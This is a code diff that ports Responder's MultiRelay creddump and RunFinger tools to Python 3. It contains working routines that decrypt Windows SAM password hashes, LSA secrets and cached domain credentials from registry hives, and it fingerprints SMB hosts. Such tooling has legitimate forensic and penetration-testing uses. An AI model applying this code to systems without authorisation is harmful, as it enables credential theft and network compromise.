(uname_len, domain_len) = unpack("<HH", cache_data[:4])
(domain_name_len,) = unpack("<H", cache_data[60:62])
@ -48,9 +63,9 @@ def parse_cache_entry(cache_data):
def parse_decrypted_cache(dec_data, uname_len,
domain_len, domain_name_len):
uname_off = 72
pad = 2 * ( ( uname_len / 2 ) % 2 )
pad = 2 * ( ( uname_len // 2 ) % 2 )
domain_off = uname_off + uname_len + pad
pad = 2 * ( ( domain_len / 2 ) % 2 )
pad = 2 * ( ( domain_len // 2 ) % 2 )
domain_name_off = domain_off + domain_len + pad
hash = dec_data[:0x10]
@ -63,16 +78,16 @@ def parse_decrypted_cache(dec_data, uname_len,
return (username, domain, domain_name, hash)
def dump_hashes(Key, secaddr):
bootkey = Key
def dump_hashes(sysaddr, secaddr, vista):
bootkey = get_bootkey(sysaddr)
if not bootkey:
return []
lsakey = get_lsa_key(secaddr, bootkey)
lsakey = get_lsa_key(secaddr, bootkey, vista)
if not lsakey:
return []
nlkm = get_nlkm(secaddr, lsakey)
nlkm = get_nlkm(secaddr, lsakey, vista)
if not nlkm:
return []
@ -86,7 +101,7 @@ def dump_hashes(Key, secaddr):
hashes = []
for v in values(cache):
if v.Name == "NL$Control": continue
if v.Name == b"NL$Control": continue
data = v.space.read(v.Data.value, v.DataLength.value)
@ -97,7 +112,11 @@ def dump_hashes(Key, secaddr):
if uname_len == 0:
continue
dec_data = decrypt_hash(enc_data, nlkm, ch)
if vista:
dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
else:
dec_data = decrypt_hash(enc_data, nlkm, ch)
(username, domain, domain_name,
hash) = parse_decrypted_cache(dec_data, uname_len,
@ -107,11 +126,10 @@ def dump_hashes(Key, secaddr):
return hashes
def dump_file_hashes(Key, sechive_fname):
sysaddr = Key
def dump_file_hashes(syshive_fname, sechive_fname, vista):
sysaddr = HiveFileAddressSpace(syshive_fname)
secaddr = HiveFileAddressSpace(sechive_fname)
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr):
print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'),
d.lower(), dn.lower())
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
print("%s:%s:%s:%s" % (u.lower(), hash.hex(),
d.lower(), dn.lower()))

View file

@ -13,82 +13,89 @@
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
from framework.win32.rawreg import *
from struct import unpack, pack
import binascii
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4, DES, AES
from framework.win32.rawreg import get_root, open_key, values, subkeys
from framework.addrspace import HiveFileAddressSpace
try:
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES
except ImportError:
pass
from struct import unpack,pack
odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
]
# Permutation matrix for boot key
p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]
p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
# Constants for SAM decrypt algorithm
aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
anum = "0123456789012345678901234567890123456789\0"
antpassword = "NTPASSWORD\0"
almpassword = "LMPASSWORD\0"
aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
anum = b"0123456789012345678901234567890123456789\0"
antpassword = b"NTPASSWORD\0"
almpassword = b"LMPASSWORD\0"
empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")
empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
def str_to_key(s):
key = []
key.append( ord(s[0])>>1 )
key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
key.append( ord(s[6])&0x7F )
key = bytearray()
key.append(s[0] >> 1)
key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2))
key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3))
key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4))
key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5))
key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6))
key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7))
key.append(s[6] & 0x7F)
for i in range(8):
key[i] = (key[i]<<1)
key[i] = (key[i] << 1)
key[i] = odd_parity[key[i]]
return "".join(chr(k) for k in key)
return key
def sid_to_key(sid):
s1 = ""
s1 += chr(sid & 0xFF)
s1 += chr((sid>>8) & 0xFF)
s1 += chr((sid>>16) & 0xFF)
s1 += chr((sid>>24) & 0xFF)
s1 += s1[0];
s1 += s1[1];
s1 += s1[2];
s2 = s1[3] + s1[0] + s1[1] + s1[2]
s2 += s2[0] + s2[1] + s2[2]
s1 = bytearray()
s1.append(sid & 0xFF)
s1.append((sid >> 8) & 0xFF)
s1.append((sid >> 16) & 0xFF)
s1.append((sid >> 24) & 0xFF)
s1.append(s1[0])
s1.append(s1[1])
s1.append(s1[2])
s2 = bytearray([s1[3], s1[0], s1[1], s1[2]])
s2.append(s2[0])
s2.append(s2[1])
s2.append(s2[2])
return str_to_key(s1), str_to_key(s2)
return str_to_key(s1),str_to_key(s2)
def find_control_set(sysaddr):
root = get_root(sysaddr)
if not root:
@ -99,122 +106,206 @@ def find_control_set(sysaddr):
return 1
for v in values(csselect):
if v.Name == "Current": return v.Data.value
if v.Name == b"Current":
return v.Data.value
return 1
def get_bootkey(sysaddr):
cs = find_control_set(sysaddr)
lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
lsa_keys = ["JD", "Skew1", "GBG", "Data"]
root = get_root(sysaddr)
if not root:
return None
lsa = open_key(root, lsa_base)
if not lsa:
return None
bootkey = []
for lk in lsa_keys:
key = open_key(lsa, [lk])
class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
hex_string = class_data.decode('utf-16-le')
hex_data = binascii.unhexlify(hex_string)
for h in hex_data:
bootkey.append(h)
bootkey_scrambled = []
for i in range(len(bootkey)):
bootkey_scrambled.append(bootkey[p[i]])
return bytes(bootkey_scrambled)
def get_hbootkey(samaddr, bootkey):
sam_account_path = ["SAM", "Domains", "Account"]
root = get_root(samaddr)
if not root: return None
if not root:
return None
sam_account_key = open_key(root, sam_account_path)
if not sam_account_key: return None
if not sam_account_key:
return None
F = None
for v in values(sam_account_key):
if v.Name == 'F':
if v.Name == b'F':
F = samaddr.read(v.Data.value, v.DataLength.value)
if not F: return None
if not F:
return None
md5 = MD5.new()
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
rc4_key = md5.digest()
revision = F[0x00]
if revision == 2:
md5 = MD5.new()
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key)
hbootkey = rc4.encrypt(F[0x80:0xA0])
return hbootkey
rc4 = ARC4.new(rc4_key)
hbootkey = rc4.encrypt(F[0x80:0xA0])
return hbootkey
if revision == 3:
iv = F[0x78:0x88]
encryptedHBootKey = F[0x88:0xA8]
cipher = AES.new(bootkey, AES.MODE_CBC, iv)
hbootkey = cipher.decrypt(encryptedHBootKey)
return hbootkey[:16]
print("Unknown revision: %d" % revision)
return None
def get_user_keys(samaddr):
user_key_path = ["SAM", "Domains", "Account", "Users"]
root = get_root(samaddr)
if not root: return []
if not root:
return []
user_key = open_key(root, user_key_path)
if not user_key: return []
if not user_key:
return []
return [k for k in subkeys(user_key) if k.Name != b"Names"]
return [k for k in subkeys(user_key) if k.Name != "Names"]
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
(des_k1,des_k2) = sid_to_key(rid)
if enc_hash == "":
return ""
(des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
md5 = MD5.new()
md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr)
md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key)
obfkey = rc4.encrypt(enc_hash)
hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
return hash
def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey):
# LM Hash
if enc_lm_hash:
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
else:
lmhash = ""
# NT Hash
if enc_nt_hash:
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
else:
nthash = ""
def decrypt_single_salted_hash(rid, hbootkey, enc_hash, salt):
if enc_hash == "":
return ""
(des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
obfkey = cipher.decrypt(enc_hash)
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
return lmhash,nthash
def get_user_hashes(user_key, hbootkey):
# pylint: disable=too-many-locals
samaddr = user_key.space
rid = int(user_key.Name, 16)
try:
rid = int(user_key.Name.decode(), 16)
except ValueError:
print("Could not decode rid from key name %s" % (user_key.Name.decode()))
return None, None
V = None
for v in values(user_key):
if v.Name == 'V':
if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value)
if not V: return None
if not V:
return None, None
hash_offset = unpack("<L", V[0xa8:0xa8 + 4])[0] + 0xCC
hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC
lm_offset_bytes = V[0x9c:0x9c + 4]
nt_offset_bytes = V[0x9c + 12:0x9c + 16]
lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
lmhash = None
nthash = None
enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else ""
lm_revision_bytes = V[lm_offset + 2:lm_offset + 3]
lm_revision = unpack('<B', lm_revision_bytes)[0]
if lm_revision == 1:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 20
enc_lm_hash = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
elif lm_revision == 2:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 56
lm_salt = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
enc_lm_hash = V[hash_offset + 20:hash_offset + 52] if lm_exists else ""
lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, lm_salt)
nt_revision_bytes = V[nt_offset + 2:nt_offset + 3]
nt_revision = unpack('<B', nt_revision_bytes)[0]
if nt_revision == 1:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 20
enc_nt_hash = V[nt_offset + 4:nt_offset + 20] if nt_exists else ""
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
elif nt_revision == 2:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 56
nt_salt = V[nt_offset + 8:nt_offset + 24] if nt_exists else ""
enc_nt_hash = V[nt_offset + 24:nt_offset + 56] if nt_exists else ""
nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, nt_salt)
return lmhash, nthash
return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
def get_user_name(user_key):
samaddr = user_key.space
V = None
for v in values(user_key):
if v.Name == 'V':
if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value)
if not V: return None
if not V:
return None
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
name_length = unpack("<L", V[0x10:0x14])[0]
username = V[name_offset:name_offset+name_length].decode('utf-16-le')
username = V[name_offset:name_offset + name_length].decode('utf-16-le')
return username
def dump_hashes(Key, samaddr):
bootkey = Key
hbootkey = get_hbootkey(samaddr,bootkey)
Output = ""
for user in get_user_keys(samaddr):
lmhash,nthash = get_user_hashes(user,hbootkey)
if not lmhash: lmhash = empty_lm
if not nthash: nthash = empty_nt
hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
lmhash.encode('hex'), nthash.encode('hex'))
hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16),
lmhash.encode('hex'), nthash.encode('hex'))
print hashes
Output += hashesdump
return Output
def dump_file_hashes(Key, samhive_fname):
def dump_hashes(sysaddr, samaddr):
bootkey = get_bootkey(sysaddr)
hbootkey = get_hbootkey(samaddr, bootkey)
for user in get_user_keys(samaddr):
lmhash, nthash = get_user_hashes(user, hbootkey)
if not lmhash:
lmhash = empty_lm
if not nthash:
nthash = empty_nt
try:
print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
lmhash.hex(), nthash.hex()))
except ValueError:
pass # skip if user.Name cannot be converted to an int, since its a "false" rid like the "Names" key
def dump_file_hashes(syshive_fname, samhive_fname):
sysaddr = HiveFileAddressSpace(syshive_fname)
samaddr = HiveFileAddressSpace(samhive_fname)
Output = dump_hashes(Key, samaddr)
return Output
dump_hashes(sysaddr, samaddr)

View file

@ -13,26 +13,33 @@
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
from framework.win32.rawreg import *
from framework.addrspace import HiveFileAddressSpace
#from framework.win32.hashdump import get_bootkey,str_to_key
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES
from Crypto.Hash import MD5, SHA256
from Crypto.Cipher import ARC4, DES, AES
def get_lsa_key(secaddr, bootkey):
from framework.win32.rawreg import get_root, open_key, subkeys, unpack
from framework.addrspace import HiveFileAddressSpace
from framework.win32.hashdump import get_bootkey, str_to_key
def get_lsa_key(secaddr, bootkey, vista):
root = get_root(secaddr)
if not root:
return None
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
if vista:
enc_reg_key = open_key(root, ["Policy", "PolEKList"])
else:
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
if not enc_reg_key:
exit(1)
return None
enc_reg_value = enc_reg_key.ValueList.List[0]
@ -40,48 +47,73 @@ def get_lsa_key(secaddr, bootkey):
return None
obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
enc_reg_value.DataLength.value)
enc_reg_value.DataLength.value)
if not obf_lsa_key:
return None
md5 = MD5.new()
md5.update(bootkey)
for i in range(1000):
md5.update(obf_lsa_key[60:76])
rc4key = md5.digest()
if not vista:
md5 = MD5.new()
md5.update(bootkey)
for __ in range(1000):
md5.update(obf_lsa_key[60:76])
rc4key = md5.digest()
rc4 = ARC4.new(rc4key)
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
lsa_key = lsa_key[0x10:0x20]
else:
lsa_key = decrypt_aes(obf_lsa_key, bootkey)
lsa_key = lsa_key[68:100]
rc4 = ARC4.new(rc4key)
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
return lsa_key
return lsa_key[0x10:0x20]
def decrypt_secret(secret, key):
"""Python implementation of SystemFunction005.
Decrypts a block of data with DES using given key.
Note that key can be longer than 7 bytes."""
decrypted_data = ''
j = 0 # key index
for i in range(0,len(secret),8):
enc_block = secret[i:i+8]
block_key = key[j:j+7]
decrypted_data = bytearray()
j = 0 # key index
for i in range(0, len(secret), 8):
enc_block = secret[i:i + 8]
block_key = key[j:j + 7]
des_key = str_to_key(block_key)
des = DES.new(des_key, DES.MODE_ECB)
decrypted_data += des.decrypt(enc_block)
j += 7
if len(key[j:j+7]) < 7:
j = len(key[j:j+7])
if len(key[j:j + 7]) < 7:
j = len(key[j:j + 7])
(dec_data_len,) = unpack("<L", decrypted_data[:4])
return decrypted_data[8:8+dec_data_len]
return decrypted_data[8:8 + dec_data_len]
def get_secret_by_name(secaddr, name, lsakey):
def decrypt_aes(secret, key):
sha = SHA256.new()
sha.update(key)
for _i in range(1, 1000 + 1):
sha.update(secret[28:60])
aeskey = sha.digest()
data = bytearray()
for i in range(60, len(secret), 16):
aes = AES.new(aeskey, AES.MODE_CBC, b"\x00" * 16)
buf = secret[i: i + 16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
data += aes.decrypt(buf)
return data
def get_secret_by_name(secaddr, name, lsakey, vista):
root = get_root(secaddr)
if not root:
return None
enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
if not enc_secret_key:
return None
@ -91,47 +123,57 @@ def get_secret_by_name(secaddr, name, lsakey):
return None
enc_secret = secaddr.read(enc_secret_value.Data.value,
enc_secret_value.DataLength.value)
enc_secret_value.DataLength.value)
if not enc_secret:
return None
return decrypt_secret(enc_secret[0xC:], lsakey)
if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
def get_secrets(Key, secaddr):
return secret
def get_secrets(sysaddr, secaddr, vista):
root = get_root(secaddr)
if not root:
return None
bootkey = Key
lsakey = get_lsa_key(secaddr, bootkey)
bootkey = get_bootkey(sysaddr)
lsakey = get_lsa_key(secaddr, bootkey, vista)
secrets_key = open_key(root, ["Policy", "Secrets"])
if not secrets_key:
print "no secret"
return None
secrets = {}
for key in subkeys(secrets_key):
sec_val_key = open_key(key, ["CurrVal"])
if not sec_val_key:
continue
enc_secret_value = sec_val_key.ValueList.List[0]
if not enc_secret_value:
continue
enc_secret = secaddr.read(enc_secret_value.Data.value,
enc_secret_value.DataLength.value)
enc_secret_value.DataLength.value)
if not enc_secret:
continue
secret = decrypt_secret(enc_secret[0xC:], lsakey)
if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
secrets[key.Name] = secret
return secrets
def get_file_secrets(Key, secfile):
def get_file_secrets(sysfile, secfile, vista):
sysaddr = HiveFileAddressSpace(sysfile)
secaddr = HiveFileAddressSpace(secfile)
return get_secrets(Key, secaddr)
return get_secrets(sysaddr, secaddr, vista)

View file

@ -23,9 +23,9 @@ from framework.newobj import Obj,Pointer
from struct import unpack
ROOT_INDEX = 0x20
LH_SIG = unpack("<H","lh")[0]
LF_SIG = unpack("<H","lf")[0]
RI_SIG = unpack("<H","ri")[0]
LH_SIG = unpack("<H",b"lh")[0]
LF_SIG = unpack("<H",b"lf")[0]
RI_SIG = unpack("<H",b"ri")[0]
def get_root(address_space):
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
@ -34,11 +34,11 @@ def open_key(root, key):
if key == []:
return root
keyname = key.pop(0)
keyname = key.pop(0).encode()
for s in subkeys(root):
if s.Name.upper() == keyname.upper():
return open_key(s, key)
print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
return None
def subkeys(key,stable=True):

44
tools/MultiRelay/creddump/lsadump.py Normal file → Executable file
View file

@ -15,6 +15,8 @@
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets
# Hex dump code from
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256))
def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
def dump(src, length=8):
N=0; result=''
N = 0
result = ''
while src:
s,src = src[:length],src[length:]
hexa = ' '.join(["%02X"%ord(x) for x in s])
s = s.translate(FILTER)
result += "%04X %-*s %s\n" % (N, length*3, hexa, s)
N+=length
s, src = src[:length], src[length:]
hexa = ' '.join(["%02X" % x for x in s])
s = ''.join(FILTER[b] for b in s)
result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
N += length
return result
if len(sys.argv) < 3:
print "usage: %s Bootkey <security hive>" % sys.argv[0]
sys.exit(1)
secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2])
if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
else:
vista = sys.argv[3].lower() == "true"
secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
if not secrets:
print "Unable to read LSA secrets. Perhaps you provided invalid hive files?"
print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
sys.exit(1)
for k in secrets:
print k
print dump(secrets[k], length=16)
print(k.decode())
print(dump(secrets[k], length=16))

View file

@ -25,7 +25,7 @@ import sys
from framework.win32.hashdump import dump_file_hashes
if len(sys.argv) < 3:
print "usage: %s bootkey SAM_File" % sys.argv[0]
print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
sys.exit(1)
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
dump_file_hashes(sys.argv[1], sys.argv[2])

View file

@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@ -14,20 +14,18 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import re,sys,struct
import datetime
import multiprocessing
from socket import *
from odict import OrderedDict
import optparse
from RunFingerPackets import *
__version__ = "0.8"
__version__ = "1.0"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args()
@ -38,148 +36,146 @@ if options.TARGET is None:
Timeout = 2
Host = options.TARGET
MS17010Check = options.all
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
for k,v in list(kw.items()):
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
return "".join(map(str, list(self.fields.values())))
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
length = StructWithLenPython2or3(">i", len(''.join(payload)))
return length
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
try:
Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
except:
pass
#####################
def IsSigningEnabled(data):
def IsSigningEnabled(data):
if data[39] == "\x0f":
return True
else:
return False
def atod(a):
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68])
data = NetworkRecvBufferPython2or3(data)
DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
DomainJoined = data[81:110].decode('latin-1')
Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
s.settimeout(Timeout)
s.connect(Host)
except:
pass
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
packet0 = str(h)+str(n)
